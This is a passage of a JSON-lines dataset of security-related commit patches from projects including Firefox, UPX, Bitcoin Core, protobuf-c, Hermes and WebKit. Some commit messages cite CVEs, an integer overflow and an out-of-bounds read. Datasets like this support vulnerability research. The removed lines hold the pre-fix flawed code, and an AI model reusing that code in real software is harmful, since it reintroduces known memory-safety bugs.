nsBaseWidget::InfallibleMakeFullScreen(aFullScreen, aTargetScreen);\n-\n- if (mIsVisible && !aFullScreen && mOldSizeMode == nsSizeMode_Normal) {\n- // Ensure the window exiting fullscreen get activated. Window\n- // activation might be bypassed in SetSizeMode.\n- DispatchFocusToTopLevelWindow(true);\n- }\n-\n- // Notify the taskbar that we have exited full screen mode.\n- if (!aFullScreen && taskbarInfo) {\n- taskbarInfo->PrepareFullScreenHWND(mWnd, FALSE);\n- }\n-\n- OnSizeModeChange(mSizeMode);\n-\n- if (mWidgetListener) {\n- mWidgetListener->FullscreenChanged(aFullScreen);\n+ SetSizeModeInternal(mOldSizeMode, aTargetScreen);\n }\n \n return NS_OK;", "sections": [{"section": "@@ -2294,57 +2294,107 @@ static UINT GetCurrentShowCmd(HWND aWnd) {\n return pl.showCmd;\n }\n \n-// Maximize, minimize or restore the window.\n-void nsWindow::SetSizeMode(nsSizeMode aMode) {\n+void nsWindow::SetSizeModeInternal(nsSizeMode aMode, nsIScreen* aFullscreenTarget) {\n // Let's not try and do anything if we're already in that state.\n // (This is needed to prevent problems when calling window.minimize(), which\n // calls us directly, and then the OS triggers another call to us.)\n if (aMode == mSizeMode) return;\n \n- // If we are still displaying a maximized pre-XUL skeleton UI, ignore the\n- // noise of sizemode changes. Once we have \"shown\" the window for the first\n- // time (called nsWindow::Show(true), even though the window is already\n- // technically displayed), we will again accept sizemode changes.\n- if (mIsShowingPreXULSkeletonUI && WasPreXULSkeletonUIMaximized()) {\n- return;\n+ const bool currentlyFullscreen = mSizeMode == nsSizeMode_Fullscreen;\n+ const bool requestedFullscreen = aMode == nsSizeMode_Fullscreen;\n+ const bool fullscreenChanging = currentlyFullscreen || requestedFullscreen;\n+\n+ MOZ_DIAGNOSTIC_ASSERT(currentlyFullscreen == mFullscreenMode);\n+\n+ if (fullscreenChanging) {\n+ if (mWidgetListener) {\n+ mWidgetListener->FullscreenWillChange(requestedFullscreen);\n+ }\n+\n+ mFullscreenMode = requestedFullscreen;\n }\n \n // save the requested state\n mLastSizeMode = mSizeMode;\n nsBaseWidget::SetSizeMode(aMode);\n- if (mIsVisible) {\n- int mode;\n \n+ if (mIsVisible) {\n switch (aMode) {\n case nsSizeMode_Fullscreen:\n- mode = SW_SHOW;\n+ ::ShowWindow(mWnd, SW_SHOW);\n break;\n \n case nsSizeMode_Maximized:\n- mode = SW_MAXIMIZE;\n+ ::ShowWindow(mWnd, SW_MAXIMIZE);\n break;\n \n case nsSizeMode_Minimized:\n- mode = SW_MINIMIZE;\n+ ::ShowWindow(mWnd, SW_MINIMIZE);\n break;\n \n default:\n- mode = SW_RESTORE;\n+ MOZ_ASSERT(aMode == nsSizeMode_Normal);\n+\n+ // Don't call ::ShowWindow if we're trying to \"restore\" a window that is\n+ // already in a normal state. Prevents a bug where snapping to one side\n+ // of the screen and then minimizing would cause Windows to forget our\n+ // window's correct restored position/size.\n+ if (GetCurrentShowCmd(mWnd) != SW_SHOWNORMAL) {\n+ ::ShowWindow(mWnd, SW_RESTORE);\n+ }\n }\n+ }\n \n- // Don't call ::ShowWindow if we're trying to \"restore\" a window that is\n- // already in a normal state. Prevents a bug where snapping to one side\n- // of the screen and then minimizing would cause Windows to forget our\n- // window's correct restored position/size.\n- if (!(GetCurrentShowCmd(mWnd) == SW_SHOWNORMAL && mode == SW_RESTORE)) {\n- ::ShowWindow(mWnd, mode);\n+ if (fullscreenChanging) {\n+ // taskbarInfo will be nullptr pre Windows 7 until Bug 680227 is resolved.\n+ nsCOMPtr taskbarInfo = do_GetService(NS_TASKBAR_CONTRACTID);\n+\n+ if (requestedFullscreen && taskbarInfo) {\n+ // Notify the taskbar that we will be entering full screen mode.\n+ taskbarInfo->PrepareFullScreenHWND(mWnd, TRUE);\n }\n- // we activate here to ensure that the right child window is focused\n- if (mode == SW_MAXIMIZE || mode == SW_SHOW)\n+\n+ // If we are going fullscreen, the window size continues to change\n+ // and the window will be reflow again then.\n+ UpdateNonClientMargins(mSizeMode, /* Reflow */ !requestedFullscreen);\n+\n+ // Will call hide chrome, reposition window. Note this will\n+ // also cache dimensions for restoration, so it should only\n+ // be called once per fullscreen request.\n+ nsBaseWidget::InfallibleMakeFullScreen(requestedFullscreen, aFullscreenTarget);\n+ \n+ if (mIsVisible && aMode != nsSizeMode_Minimized) {\n DispatchFocusToTopLevelWindow(true);\n+ }\n+\n+ if (!requestedFullscreen && taskbarInfo) {\n+ // Notify the taskbar that we have exited full screen mode.\n+ taskbarInfo->PrepareFullScreenHWND(mWnd, FALSE);\n+ }\n+\n+ OnSizeModeChange(mSizeMode);\n+\n+ if (mWidgetListener) {\n+ mWidgetListener->FullscreenChanged(requestedFullscreen);\n+ }\n+ } else if(mIsVisible && aMode != nsSizeMode_Minimized) {\n+ DispatchFocusToTopLevelWindow(true);\n }\n }\n \n+// Maximize, minimize or restore the window.\n+void nsWindow::SetSizeMode(nsSizeMode aMode) {\n+ // If we are still displaying a maximized pre-XUL skeleton UI, ignore the\n+ // noise of sizemode changes. Once we have \"shown\" the window for the first\n+ // time (called nsWindow::Show(true), even though the window is already\n+ // technically displayed), we will again accept sizemode changes.\n+ if (mIsShowingPreXULSkeletonUI && WasPreXULSkeletonUIMaximized()) {\n+ return;\n+ }\n+\n+ SetSizeModeInternal(aMode, nullptr);\n+}\n+\n void DoGetWorkspaceID(HWND aWnd, nsAString* aWorkspaceID) {\n RefPtr desktopManager = gVirtualDesktopManager;\n if (!desktopManager || !aWnd) {\n", "related": false}, {"section": "@@ -3667,51 +3717,11 @@ void nsWindow::CleanupFullscreenTransition() {\n }\n \n nsresult nsWindow::MakeFullScreen(bool aFullScreen, nsIScreen* aTargetScreen) {\n- // taskbarInfo will be nullptr pre Windows 7 until Bug 680227 is resolved.\n- nsCOMPtr taskbarInfo = do_GetService(NS_TASKBAR_CONTRACTID);\n-\n- if (mWidgetListener) {\n- mWidgetListener->FullscreenWillChange(aFullScreen);\n- }\n-\n- mFullscreenMode = aFullScreen;\n if (aFullScreen) {\n- if (mSizeMode == nsSizeMode_Fullscreen) return NS_OK;\n mOldSizeMode = mSizeMode;\n- SetSizeMode(nsSizeMode_Fullscreen);\n-\n- // Notify the taskbar that we will be entering full screen mode.\n- if (taskbarInfo) {\n- taskbarInfo->PrepareFullScreenHWND(mWnd, TRUE);\n- }\n+ SetSizeModeInternal(nsSizeMode_Fullscreen, aTargetScreen);\n } else {\n- SetSizeMode(mOldSizeMode);\n- }\n-\n- // If we are going fullscreen, the window size continues to change\n- // and the window will be reflow again then.\n- UpdateNonClientMargins(mSizeMode, /* Reflow */ !aFullScreen);\n-\n- // Will call hide chrome, reposition window. Note this will\n- // also cache dimensions for restoration, so it should only\n- // be called once per fullscreen request.\n- nsBaseWidget::InfallibleMakeFullScreen(aFullScreen, aTargetScreen);\n-\n- if (mIsVisible && !aFullScreen && mOldSizeMode == nsSizeMode_Normal) {\n- // Ensure the window exiting fullscreen get activated. Window\n- // activation might be bypassed in SetSizeMode.\n- DispatchFocusToTopLevelWindow(true);\n- }\n-\n- // Notify the taskbar that we have exited full screen mode.\n- if (!aFullScreen && taskbarInfo) {\n- taskbarInfo->PrepareFullScreenHWND(mWnd, FALSE);\n- }\n-\n- OnSizeModeChange(mSizeMode);\n-\n- if (mWidgetListener) {\n- mWidgetListener->FullscreenChanged(aFullScreen);\n+ SetSizeModeInternal(mOldSizeMode, aTargetScreen);\n }\n \n return NS_OK;", "related": false}]} +{"owner": "mozilla", "repo": "gecko-dev", "language": "C++", "file_name": "layout/svg/SVGObserverUtils.cpp", "commit_id": "9bf0b6e440851005530541b0bf6467bfd537423e", "commit_message": "Bug 1736243 - Make SVGObserverUtils::GetAndObserveTextPathsPath not observe on continuations. r=longsonr\n\nDifferential Revision: https://phabricator.services.mozilla.com/D139485", "patch": "@@ -1399,6 +1399,10 @@ SVGObserverUtils::ReferenceState SVGObserverUtils::GetAndObserveMasks(\n \n SVGGeometryElement* SVGObserverUtils::GetAndObserveTextPathsPath(\n nsIFrame* aTextPathFrame) {\n+ // Continuations can come and go during reflow, and we don't need to observe\n+ // the referenced element more than once for a given node.\n+ aTextPathFrame = aTextPathFrame->FirstContinuation();\n+\n SVGTextPathObserver* property =\n aTextPathFrame->GetProperty(HrefAsTextPathProperty());\n ", "sections": [{"section": "@@ -1399,6 +1399,10 @@ SVGObserverUtils::ReferenceState SVGObserverUtils::GetAndObserveMasks(\n \n SVGGeometryElement* SVGObserverUtils::GetAndObserveTextPathsPath(\n nsIFrame* aTextPathFrame) {\n+ // Continuations can come and go during reflow, and we don't need to observe\n+ // the referenced element more than once for a given node.\n+ aTextPathFrame = aTextPathFrame->FirstContinuation();\n+\n SVGTextPathObserver* property =\n aTextPathFrame->GetProperty(HrefAsTextPathProperty());\n ", "related": false}]} +{"owner": "upx", "repo": "upx", "language": "C++", "file_name": "src/p_lx_elf.cpp", "commit_id": "779b648c5f6aa9b33f4728f79dd4d0efec0bf860", "commit_message": "invert_pt_dynamic: fix thinko; PackLinuxElf64help1 insist on ELF\n\nhttps://github.com/upx/upx/issues/631\n\tmodified: src/p_lx_elf.cpp", "patch": "@@ -256,7 +256,8 @@ PackLinuxElf32::PackLinuxElf32help1(InputFile *f)\n e_phnum = get_te16(&ehdri.e_phnum);\n e_shnum = get_te16(&ehdri.e_shnum);\n unsigned const e_phentsize = get_te16(&ehdri.e_phentsize);\n- if (ehdri.e_ident[Elf32_Ehdr::EI_CLASS]!=Elf32_Ehdr::ELFCLASS32\n+ if (memcmp((char const *)&ehdri, \"\\x7f\\x45\\x4c\\x46\", 4) // \"\\177ELF\"\n+ || ehdri.e_ident[Elf32_Ehdr::EI_CLASS]!=Elf32_Ehdr::ELFCLASS32\n || sizeof(Elf32_Phdr) != e_phentsize\n || (Elf32_Ehdr::ELFDATA2MSB == ehdri.e_ident[Elf32_Ehdr::EI_DATA]\n && &N_BELE_RTP::be_policy != bele)\n@@ -761,7 +762,8 @@ PackLinuxElf64::PackLinuxElf64help1(InputFile *f)\n e_phnum = get_te16(&ehdri.e_phnum);\n e_shnum = get_te16(&ehdri.e_shnum);\n unsigned const e_phentsize = get_te16(&ehdri.e_phentsize);\n- if (ehdri.e_ident[Elf64_Ehdr::EI_CLASS]!=Elf64_Ehdr::ELFCLASS64\n+ if (memcmp((char const *)&ehdri, \"\\x7f\\x45\\x4c\\x46\", 4) // \"\\177ELF\"\n+ || ehdri.e_ident[Elf64_Ehdr::EI_CLASS]!=Elf64_Ehdr::ELFCLASS64\n || sizeof(Elf64_Phdr) != e_phentsize\n || (Elf64_Ehdr::ELFDATA2MSB == ehdri.e_ident[Elf64_Ehdr::EI_DATA]\n && &N_BELE_RTP::be_policy != bele)\n@@ -5780,7 +5782,7 @@ PackLinuxElf64::invert_pt_dynamic(Elf64_Dyn const *dynp, upx_uint64_t headway)\n }\n if (file_size <= dt_offsets[n_off]) {\n char msg[60]; snprintf(msg, sizeof(msg), \"bad DT_{%#x} = %#x (beyond EOF)\",\n- dt_names[k], dt_offsets[n_off]);\n+ k, dt_offsets[n_off]);\n throwCantPack(msg);\n }\n n_off += !!dt_offsets[n_off];", "sections": [{"section": "@@ -256,7 +256,8 @@ PackLinuxElf32::PackLinuxElf32help1(InputFile *f)\n e_phnum = get_te16(&ehdri.e_phnum);\n e_shnum = get_te16(&ehdri.e_shnum);\n unsigned const e_phentsize = get_te16(&ehdri.e_phentsize);\n- if (ehdri.e_ident[Elf32_Ehdr::EI_CLASS]!=Elf32_Ehdr::ELFCLASS32\n+ if (memcmp((char const *)&ehdri, \"\\x7f\\x45\\x4c\\x46\", 4) // \"\\177ELF\"\n+ || ehdri.e_ident[Elf32_Ehdr::EI_CLASS]!=Elf32_Ehdr::ELFCLASS32\n || sizeof(Elf32_Phdr) != e_phentsize\n || (Elf32_Ehdr::ELFDATA2MSB == ehdri.e_ident[Elf32_Ehdr::EI_DATA]\n && &N_BELE_RTP::be_policy != bele)\n", "related": false}, {"section": "@@ -761,7 +762,8 @@ PackLinuxElf64::PackLinuxElf64help1(InputFile *f)\n e_phnum = get_te16(&ehdri.e_phnum);\n e_shnum = get_te16(&ehdri.e_shnum);\n unsigned const e_phentsize = get_te16(&ehdri.e_phentsize);\n- if (ehdri.e_ident[Elf64_Ehdr::EI_CLASS]!=Elf64_Ehdr::ELFCLASS64\n+ if (memcmp((char const *)&ehdri, \"\\x7f\\x45\\x4c\\x46\", 4) // \"\\177ELF\"\n+ || ehdri.e_ident[Elf64_Ehdr::EI_CLASS]!=Elf64_Ehdr::ELFCLASS64\n || sizeof(Elf64_Phdr) != e_phentsize\n || (Elf64_Ehdr::ELFDATA2MSB == ehdri.e_ident[Elf64_Ehdr::EI_DATA]\n && &N_BELE_RTP::be_policy != bele)\n", "related": false}, {"section": "@@ -5780,7 +5782,7 @@ PackLinuxElf64::invert_pt_dynamic(Elf64_Dyn const *dynp, upx_uint64_t headway)\n }\n if (file_size <= dt_offsets[n_off]) {\n char msg[60]; snprintf(msg, sizeof(msg), \"bad DT_{%#x} = %#x (beyond EOF)\",\n- dt_names[k], dt_offsets[n_off]);\n+ k, dt_offsets[n_off]);\n throwCantPack(msg);\n }\n n_off += !!dt_offsets[n_off];", "related": false}]} +{"owner": "bitcoin", "repo": "bitcoin", "language": "C++", "file_name": "src/wallet/wallet.cpp", "commit_id": "2fb9c1e6681370478e24a19172ed6d78d95d50d3", "commit_message": "shuffle selected coins before transaction finalization", "patch": "@@ -2889,20 +2889,11 @@ bool CWallet::CreateTransaction(const std::vector& vecSend, CTransac\n nChangePosInOut = -1;\n }\n \n- // Fill vin\n+ // Dummy fill vin for maximum size estimation\n //\n- // Note how the sequence number is set to non-maxint so that\n- // the nLockTime set above actually works.\n- //\n- // BIP125 defines opt-in RBF as any nSequence < maxint-1, so\n- // we use the highest possible value in that range (maxint-2)\n- // to avoid conflicting with other possible uses of nSequence,\n- // and in the spirit of \"smallest possible change from prior\n- // behavior.\"\n- const uint32_t nSequence = coin_control.signalRbf ? MAX_BIP125_RBF_SEQUENCE : (CTxIn::SEQUENCE_FINAL - 1);\n- for (const auto& coin : setCoins)\n- txNew.vin.push_back(CTxIn(coin.outpoint,CScript(),\n- nSequence));\n+ for (const auto& coin : setCoins) {\n+ txNew.vin.push_back(CTxIn(coin.outpoint,CScript()));\n+ }\n \n nBytes = CalculateMaximumSignedTxSize(txNew, this);\n if (nBytes < 0) {\n@@ -2992,11 +2983,29 @@ bool CWallet::CreateTransaction(const std::vector& vecSend, CTransac\n \n if (nChangePosInOut == -1) reservekey.ReturnKey(); // Return any reserved key if we don't have change\n \n+ // Shuffle selected coins and fill in final vin\n+ txNew.vin.clear();\n+ std::vector selected_coins(setCoins.begin(), setCoins.end());\n+ std::shuffle(selected_coins.begin(), selected_coins.end(), FastRandomContext());\n+\n+ // Note how the sequence number is set to non-maxint so that\n+ // the nLockTime set above actually works.\n+ //\n+ // BIP125 defines opt-in RBF as any nSequence < maxint-1, so\n+ // we use the highest possible value in that range (maxint-2)\n+ // to avoid conflicting with other possible uses of nSequence,\n+ // and in the spirit of \"smallest possible change from prior\n+ // behavior.\"\n+ const uint32_t nSequence = coin_control.signalRbf ? MAX_BIP125_RBF_SEQUENCE : (CTxIn::SEQUENCE_FINAL - 1);\n+ for (const auto& coin : selected_coins) {\n+ txNew.vin.push_back(CTxIn(coin.outpoint, CScript(), nSequence));\n+ }\n+\n if (sign)\n {\n CTransaction txNewConst(txNew);\n int nIn = 0;\n- for (const auto& coin : setCoins)\n+ for (const auto& coin : selected_coins)\n {\n const CScript& scriptPubKey = coin.txout.scriptPubKey;\n SignatureData sigdata;", "sections": [{"section": "@@ -2889,20 +2889,11 @@ bool CWallet::CreateTransaction(const std::vector& vecSend, CTransac\n nChangePosInOut = -1;\n }\n \n- // Fill vin\n+ // Dummy fill vin for maximum size estimation\n //\n- // Note how the sequence number is set to non-maxint so that\n- // the nLockTime set above actually works.\n- //\n- // BIP125 defines opt-in RBF as any nSequence < maxint-1, so\n- // we use the highest possible value in that range (maxint-2)\n- // to avoid conflicting with other possible uses of nSequence,\n- // and in the spirit of \"smallest possible change from prior\n- // behavior.\"\n- const uint32_t nSequence = coin_control.signalRbf ? MAX_BIP125_RBF_SEQUENCE : (CTxIn::SEQUENCE_FINAL - 1);\n- for (const auto& coin : setCoins)\n- txNew.vin.push_back(CTxIn(coin.outpoint,CScript(),\n- nSequence));\n+ for (const auto& coin : setCoins) {\n+ txNew.vin.push_back(CTxIn(coin.outpoint,CScript()));\n+ }\n \n nBytes = CalculateMaximumSignedTxSize(txNew, this);\n if (nBytes < 0) {\n", "related": false}, {"section": "@@ -2992,11 +2983,29 @@ bool CWallet::CreateTransaction(const std::vector& vecSend, CTransac\n \n if (nChangePosInOut == -1) reservekey.ReturnKey(); // Return any reserved key if we don't have change\n \n+ // Shuffle selected coins and fill in final vin\n+ txNew.vin.clear();\n+ std::vector selected_coins(setCoins.begin(), setCoins.end());\n+ std::shuffle(selected_coins.begin(), selected_coins.end(), FastRandomContext());\n+\n+ // Note how the sequence number is set to non-maxint so that\n+ // the nLockTime set above actually works.\n+ //\n+ // BIP125 defines opt-in RBF as any nSequence < maxint-1, so\n+ // we use the highest possible value in that range (maxint-2)\n+ // to avoid conflicting with other possible uses of nSequence,\n+ // and in the spirit of \"smallest possible change from prior\n+ // behavior.\"\n+ const uint32_t nSequence = coin_control.signalRbf ? MAX_BIP125_RBF_SEQUENCE : (CTxIn::SEQUENCE_FINAL - 1);\n+ for (const auto& coin : selected_coins) {\n+ txNew.vin.push_back(CTxIn(coin.outpoint, CScript(), nSequence));\n+ }\n+\n if (sign)\n {\n CTransaction txNewConst(txNew);\n int nIn = 0;\n- for (const auto& coin : setCoins)\n+ for (const auto& coin : selected_coins)\n {\n const CScript& scriptPubKey = coin.txout.scriptPubKey;\n SignatureData sigdata;", "related": false}]} +{"owner": "awesomized", "repo": "libmemcached", "language": "C", "file_name": "src/libmemcached/response.cc", "commit_id": "48dcc61a4919f6f3d5ee164630a843f2d8b8ade9", "commit_message": "revert most of d7a0084bf99d618d1dc26a54fd413db7ae8b8e63\n\nSee php-memcached-dev/php-memcached#531", "patch": "@@ -761,7 +761,7 @@ static memcached_return_t _read_one_response(memcached_instance_st *instance, ch\n rc = textual_read_one_response(instance, buffer, buffer_length, result);\n }\n \n- if (memcached_fatal(rc) && rc != MEMCACHED_TIMEOUT) {\n+ if (memcached_fatal(rc)) {\n memcached_io_reset(instance);\n }\n ", "sections": [{"section": "@@ -761,7 +761,7 @@ static memcached_return_t _read_one_response(memcached_instance_st *instance, ch\n rc = textual_read_one_response(instance, buffer, buffer_length, result);\n }\n \n- if (memcached_fatal(rc) && rc != MEMCACHED_TIMEOUT) {\n+ if (memcached_fatal(rc)) {\n memcached_io_reset(instance);\n }\n ", "related": false}]} +{"owner": "protobuf-c", "repo": "protobuf-c", "language": "C", "file_name": "protobuf-c/protobuf-c.c", "commit_id": "ec3d900001a13ccdaa8aef996b34c61159c76217", "commit_message": "Merge pull request #513 from protobuf-c/edmonds/issue499\n\nFix issue #499: unsigned integer overflow", "patch": "@@ -2603,10 +2603,13 @@ parse_required_member(ScannedMember *scanned_member,\n \t\t\treturn FALSE;\n \n \t\tdef_mess = scanned_member->field->default_value;\n-\t\tsubm = protobuf_c_message_unpack(scanned_member->field->descriptor,\n-\t\t\t\t\t\t allocator,\n-\t\t\t\t\t\t len - pref_len,\n-\t\t\t\t\t\t data + pref_len);\n+\t\tif (len >= pref_len)\n+\t\t\tsubm = protobuf_c_message_unpack(scanned_member->field->descriptor,\n+\t\t\t\t\t\t\t allocator,\n+\t\t\t\t\t\t\t len - pref_len,\n+\t\t\t\t\t\t\t data + pref_len);\n+\t\telse\n+\t\t\tsubm = NULL;\n \n \t\tif (maybe_clear &&\n \t\t *pmessage != NULL &&", "sections": [{"section": "@@ -2603,10 +2603,13 @@ parse_required_member(ScannedMember *scanned_member,\n \t\t\treturn FALSE;\n \n \t\tdef_mess = scanned_member->field->default_value;\n-\t\tsubm = protobuf_c_message_unpack(scanned_member->field->descriptor,\n-\t\t\t\t\t\t allocator,\n-\t\t\t\t\t\t len - pref_len,\n-\t\t\t\t\t\t data + pref_len);\n+\t\tif (len >= pref_len)\n+\t\t\tsubm = protobuf_c_message_unpack(scanned_member->field->descriptor,\n+\t\t\t\t\t\t\t allocator,\n+\t\t\t\t\t\t\t len - pref_len,\n+\t\t\t\t\t\t\t data + pref_len);\n+\t\telse\n+\t\t\tsubm = NULL;\n \n \t\tif (maybe_clear &&\n \t\t *pmessage != NULL &&", "related": false}]} +{"owner": "facebook", "repo": "hermes", "language": "C++", "file_name": "lib/Optimizer/Scalar/TypeInference.cpp", "commit_id": "e6ed9c1a4b02dc219de1648f44cd808a56171b81", "commit_message": "Re-sync with internal repository (#960)\n\nCo-authored-by: Facebook Community Bot <6422482+facebook-github-bot@users.noreply.github.com>", "patch": "@@ -60,6 +60,12 @@ class TypeInferenceImpl {\n bool runOnModule(Module *M);\n };\n \n+/// \\return if the given \\p type is a BigInt|Object, which used to determine if\n+/// unary/binary operations may have a BigInt result.\n+static bool isBigIntOrObject(Type type) {\n+ return type.canBeBigInt() || type.canBeObject();\n+}\n+\n static bool inferUnaryArith(UnaryOperatorInst *UOI, Type numberResultType) {\n Value *op = UOI->getSingleOperand();\n \n@@ -73,10 +79,11 @@ static bool inferUnaryArith(UnaryOperatorInst *UOI, Type numberResultType) {\n return true;\n }\n \n- Type mayBeBigInt =\n- op->getType().canBeBigInt() ? Type::createBigInt() : Type::createNoType();\n+ Type mayBeBigInt = isBigIntOrObject(op->getType()) ? Type::createBigInt()\n+ : Type::createNoType();\n \n- // - ?? => Number|?BigInt. BigInt is only possible if op.Type canBeBigInt.\n+ // - ?? => Number|?BigInt. BigInt is only possible if op.Type is\n+ // BigInt|Object.\n UOI->setType(Type::unionTy(numberResultType, mayBeBigInt));\n return true;\n }\n@@ -298,12 +305,12 @@ static bool inferBinaryArith(\n return true;\n }\n \n- Type mayBeBigInt = LeftTy.canBeBigInt() && RightTy.canBeBigInt()\n+ Type mayBeBigInt = (isBigIntOrObject(LeftTy) && isBigIntOrObject(RightTy))\n ? Type::createBigInt()\n : Type::createNoType();\n \n- // ?? - ?? => Number|?BigInt. BigInt is only possible if both operands can be\n- // BigInt due to the no automatic BigInt conversion.\n+ // ?? - ?? => Number|?BigInt. BigInt is only possible if both operands are\n+ // BigInt|Object due to the no automatic BigInt conversion.\n BOI->setType(Type::unionTy(numberType, mayBeBigInt));\n return true;\n }\n@@ -312,12 +319,12 @@ static bool inferBinaryBitwise(BinaryOperatorInst *BOI) {\n Type LeftTy = BOI->getLeftHandSide()->getType();\n Type RightTy = BOI->getRightHandSide()->getType();\n \n- Type mayBeBigInt = LeftTy.canBeBigInt() && RightTy.canBeBigInt()\n+ Type mayBeBigInt = (isBigIntOrObject(LeftTy) && isBigIntOrObject(RightTy))\n ? Type::createBigInt()\n : Type::createNoType();\n \n- // ?? - ?? => Int32|?BigInt. BigInt is only possible if both operands can be\n- // BigInt due to the no automatic BigInt conversion.\n+ // ?? - ?? => Int32|?BigInt. BigInt is only possible if both operands are\n+ // BigInt|Object due to the no automatic BigInt conversion.\n BOI->setType(Type::unionTy(Type::createInt32(), mayBeBigInt));\n return true;\n }\n@@ -391,7 +398,7 @@ static bool inferBinaryInst(BinaryOperatorInst *BOI) {\n // ?BigInt + ?BigInt => ?BigInt. Both operands need to \"may be a BigInt\"\n // for a possible BigInt result from this operator. This is true because\n // there's no automative BigInt type conversion.\n- Type mayBeBigInt = (LeftTy.canBeBigInt() && RightTy.canBeBigInt())\n+ Type mayBeBigInt = (isBigIntOrObject(LeftTy) && isBigIntOrObject(RightTy))\n ? Type::createBigInt()\n : Type::createNoType();\n ", "sections": [{"section": "@@ -60,6 +60,12 @@ class TypeInferenceImpl {\n bool runOnModule(Module *M);\n };\n \n+/// \\return if the given \\p type is a BigInt|Object, which used to determine if\n+/// unary/binary operations may have a BigInt result.\n+static bool isBigIntOrObject(Type type) {\n+ return type.canBeBigInt() || type.canBeObject();\n+}\n+\n static bool inferUnaryArith(UnaryOperatorInst *UOI, Type numberResultType) {\n Value *op = UOI->getSingleOperand();\n \n", "related": false}, {"section": "@@ -73,10 +79,11 @@ static bool inferUnaryArith(UnaryOperatorInst *UOI, Type numberResultType) {\n return true;\n }\n \n- Type mayBeBigInt =\n- op->getType().canBeBigInt() ? Type::createBigInt() : Type::createNoType();\n+ Type mayBeBigInt = isBigIntOrObject(op->getType()) ? Type::createBigInt()\n+ : Type::createNoType();\n \n- // - ?? => Number|?BigInt. BigInt is only possible if op.Type canBeBigInt.\n+ // - ?? => Number|?BigInt. BigInt is only possible if op.Type is\n+ // BigInt|Object.\n UOI->setType(Type::unionTy(numberResultType, mayBeBigInt));\n return true;\n }\n", "related": false}, {"section": "@@ -298,12 +305,12 @@ static bool inferBinaryArith(\n return true;\n }\n \n- Type mayBeBigInt = LeftTy.canBeBigInt() && RightTy.canBeBigInt()\n+ Type mayBeBigInt = (isBigIntOrObject(LeftTy) && isBigIntOrObject(RightTy))\n ? Type::createBigInt()\n : Type::createNoType();\n \n- // ?? - ?? => Number|?BigInt. BigInt is only possible if both operands can be\n- // BigInt due to the no automatic BigInt conversion.\n+ // ?? - ?? => Number|?BigInt. BigInt is only possible if both operands are\n+ // BigInt|Object due to the no automatic BigInt conversion.\n BOI->setType(Type::unionTy(numberType, mayBeBigInt));\n return true;\n }\n", "related": false}, {"section": "@@ -312,12 +319,12 @@ static bool inferBinaryBitwise(BinaryOperatorInst *BOI) {\n Type LeftTy = BOI->getLeftHandSide()->getType();\n Type RightTy = BOI->getRightHandSide()->getType();\n \n- Type mayBeBigInt = LeftTy.canBeBigInt() && RightTy.canBeBigInt()\n+ Type mayBeBigInt = (isBigIntOrObject(LeftTy) && isBigIntOrObject(RightTy))\n ? Type::createBigInt()\n : Type::createNoType();\n \n- // ?? - ?? => Int32|?BigInt. BigInt is only possible if both operands can be\n- // BigInt due to the no automatic BigInt conversion.\n+ // ?? - ?? => Int32|?BigInt. BigInt is only possible if both operands are\n+ // BigInt|Object due to the no automatic BigInt conversion.\n BOI->setType(Type::unionTy(Type::createInt32(), mayBeBigInt));\n return true;\n }\n", "related": false}, {"section": "@@ -391,7 +398,7 @@ static bool inferBinaryInst(BinaryOperatorInst *BOI) {\n // ?BigInt + ?BigInt => ?BigInt. Both operands need to \"may be a BigInt\"\n // for a possible BigInt result from this operator. This is true because\n // there's no automative BigInt type conversion.\n- Type mayBeBigInt = (LeftTy.canBeBigInt() && RightTy.canBeBigInt())\n+ Type mayBeBigInt = (isBigIntOrObject(LeftTy) && isBigIntOrObject(RightTy))\n ? Type::createBigInt()\n : Type::createNoType();\n ", "related": false}]} +{"owner": "facebook", "repo": "hermes", "language": "C++", "file_name": "lib/VM/JSLib/Array.cpp", "commit_id": "a6dcafe6ded8e61658b40f5699878cd19a481f80", "commit_message": "Re-sync with internal repository (#908)\n\nFixes for CVE-2023-23556, and CVE-2023-24833.\r\n\r\nCo-authored-by: Facebook Community Bot <6422482+facebook-github-bot@users.noreply.github.com>", "patch": "@@ -1093,10 +1093,6 @@ class StandardSortModel : public SortModel {\n JSObject::getComputedPrimitiveDescriptor(\n obj_, runtime_, aHandle_, aDescObjHandle_, aTmpNameStorage_, aDesc);\n \n- ComputedPropertyDescriptor bDesc;\n- JSObject::getComputedPrimitiveDescriptor(\n- obj_, runtime_, bHandle_, bDescObjHandle_, bTmpNameStorage_, bDesc);\n-\n if (aDescObjHandle_) {\n if (LLVM_LIKELY(!aDesc.flags.proxyObject)) {\n auto res = JSObject::getComputedPropertyValue_RJS(\n@@ -1135,6 +1131,11 @@ class StandardSortModel : public SortModel {\n }\n }\n }\n+\n+ ComputedPropertyDescriptor bDesc;\n+ JSObject::getComputedPrimitiveDescriptor(\n+ obj_, runtime_, bHandle_, bDescObjHandle_, bTmpNameStorage_, bDesc);\n+\n if (bDescObjHandle_) {\n if (LLVM_LIKELY(!bDesc.flags.proxyObject)) {\n auto res = JSObject::getComputedPropertyValue_RJS(", "sections": [{"section": "@@ -1093,10 +1093,6 @@ class StandardSortModel : public SortModel {\n JSObject::getComputedPrimitiveDescriptor(\n obj_, runtime_, aHandle_, aDescObjHandle_, aTmpNameStorage_, aDesc);\n \n- ComputedPropertyDescriptor bDesc;\n- JSObject::getComputedPrimitiveDescriptor(\n- obj_, runtime_, bHandle_, bDescObjHandle_, bTmpNameStorage_, bDesc);\n-\n if (aDescObjHandle_) {\n if (LLVM_LIKELY(!aDesc.flags.proxyObject)) {\n auto res = JSObject::getComputedPropertyValue_RJS(\n", "related": false}, {"section": "@@ -1135,6 +1131,11 @@ class StandardSortModel : public SortModel {\n }\n }\n }\n+\n+ ComputedPropertyDescriptor bDesc;\n+ JSObject::getComputedPrimitiveDescriptor(\n+ obj_, runtime_, bHandle_, bDescObjHandle_, bTmpNameStorage_, bDesc);\n+\n if (bDescObjHandle_) {\n if (LLVM_LIKELY(!bDesc.flags.proxyObject)) {\n auto res = JSObject::getComputedPropertyValue_RJS(", "related": false}]} +{"owner": "webkit", "repo": "webkit", "language": "C++", "file_name": "Source/JavaScriptCore/runtime/StringPrototype.cpp", "commit_id": "e34edaa74575ee13efcebdb7672b949a743ab32a", "commit_message": "[JSC] RegExpGlobalData::performMatch issue leading to OOB read\nhttps://bugs.webkit.org/show_bug.cgi?id=254930\nrdar://107436732\n\nReviewed by Alexey Shvayka.\n\nFixed two issues:\n1) In YarrInterpreter.cpp::matchAssertionBOL() we were advancing the string position for non-BMP\n characters. Since it is an assertion, we shouldn't advance the character position.\n Made the same fix to matchAssertionEOL().\n2) In 